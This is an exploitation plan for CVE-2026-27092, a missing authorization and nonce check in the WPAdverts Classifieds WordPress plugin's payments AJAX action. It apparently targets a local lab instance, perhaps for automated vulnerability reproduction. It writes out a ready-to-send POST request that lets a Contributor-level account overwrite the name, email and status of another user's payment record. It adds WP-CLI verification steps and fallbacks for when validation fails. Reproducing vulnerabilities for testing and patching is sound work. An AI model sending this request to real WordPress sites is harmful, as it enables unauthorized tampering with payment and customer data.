Exploitation Research Plan - CVE-2026-27092

1. Vulnerability Summary

The WPAdverts – Classifieds Plugin (versions <= 2.3.0) contains a missing authorization vulnerability in its Payments module. Specifically, the AJAX function adext_payments_ajax_render fails to implement any capability checks (e.g., current_user_can) or ownership verification. This allows authenticated users with low-level privileges (Contributor and above) to modify the metadata and status of any adverts-payment post record by providing a valid payment_id.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: adext_payments_render
• Vulnerable Function: adext_payments_ajax_render in addons/payments/includes/ajax.php
• Authentication: Authenticated (Contributor level and above). Note: While wp_ajax_nopriv_ is registered, the vulnerability description specifies Contributor+, likely due to the typical visibility of payment_id values.
• Payload Parameters:
  • action: adext_payments_render
  • payment_id: The ID of a target adverts-payment post.
  • gateway: A registered payment gateway name (e.g., bank_transfer).
  • form: An array of payment data (e.g., adverts_person, adverts_email).

3. Code Flow

1. Entry Point: The plugin registers the AJAX action in addons/payments/includes/ajax.php:

   add_action('wp_ajax_adext_payments_render', 'adext_payments_ajax_render');
   

2. Input Processing: adext_payments_ajax_render() retrieves the payment_id and gateway from the $_REQUEST.
3. Missing Authorization: The function proceeds directly to process the payment update without checking if the current user owns the payment or has edit_posts capabilities for the adverts-payment post type.
4. Modification: The code executes wp_update_post and several update_post_meta calls:

   wp_update_post( array(
       'ID' => $payment_id,
       'post_title' => $form->get_value( "adverts_person" ),
       'post_status' => 'pending' // Forces status change
   ) );
   update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') );
   update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') );
   

5. Result: Any adverts-payment record can be modified by an unauthorized user.

4. Nonce Acquisition Strategy

Review of addons/payments/includes/ajax.php and addons/payments/assets/js/payments.js confirms that no nonce check is implemented for the adext_payments_render action. The PHP function does not call check_ajax_referer or wp_verify_nonce. Therefore, no nonce acquisition is required for exploitation.

5. Test Data Setup

1. Activate Payments: Ensure the "Payments" module is enabled in WPAdverts settings.
2. Create Pricing: Ensure at least one pricing exists (e.g., "Premium").
3. Create a Target Payment:
   • As an Admin, create a new adverts-payment post (via WP-CLI or UI).
   • Set the initial status to completed or failed.
   • Set initial meta: adverts_person = "Original Buyer", adverts_email = "original@example.com".
   • Record the payment_id.
4. Create Attacker User: Create a user with the Contributor role.

6. Exploitation Strategy

The goal is to modify a payment record owned by another user (the Admin) using the Contributor account.

1. Authentication: Log in as the Contributor user.
2. Request: Use the http_request tool to send a POST request to admin-ajax.php.
3. Payload:
   • action=adext_payments_render
   • gateway=bank_transfer (The most common default gateway in WPAdverts)
   • payment_id=[TARGET_PAYMENT_ID]
   • form[0][name]=adverts_person
   • form[0][value]=Attacker Managed
   • form[1][name]=adverts_email
   • form[1][value]=attacker@example.com

HTTP Request Details:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Body: action=adext_payments_render&gateway=bank_transfer&payment_id=[ID]&form%5B0%5D%5Bname%5D=adverts_person&form%5B0%5D%5Bvalue%5D=Attacker+Managed&form%5B1%5D%5Bname%5D=adverts_email&form%5B1%5D%5Bvalue%5D=attacker%40example.com

7. Expected Results

• The server should return a JSON response (likely {"result": 1, ...} depending on the gateway's render callback).
• The adverts-payment post's status should change to pending.
• The post meta adverts_person and adverts_email should be updated to the attacker's values.

8. Verification Steps

After the HTTP request, verify the database state using WP-CLI:

1. Check Status: wp post get [ID] --field=post_status
   • Expected: pending
2. Check Meta: wp post meta list [ID] --keys=adverts_person,adverts_email
   • Expected: adverts_person is "Attacker Managed" and adverts_email is "attacker@example.com".

9. Alternative Approaches

If the bank_transfer gateway is not active, look for other registered gateways. You can identify active gateways by checking the adext_payments_config option or by visiting a page containing the [adverts_add] shortcode and inspecting the data-tab attributes on the payment tabs (see addons/payments/templates/add-payment.php).

If the form validation fails, you may need to include additional fields in the form array. Check addons/payments/includes/ajax.php: the function loads the form using $gateway["form"]["payment_form"]. If a gateway requires more fields (like a phone number or address), those must be included in the form parameter array to pass $form->validate().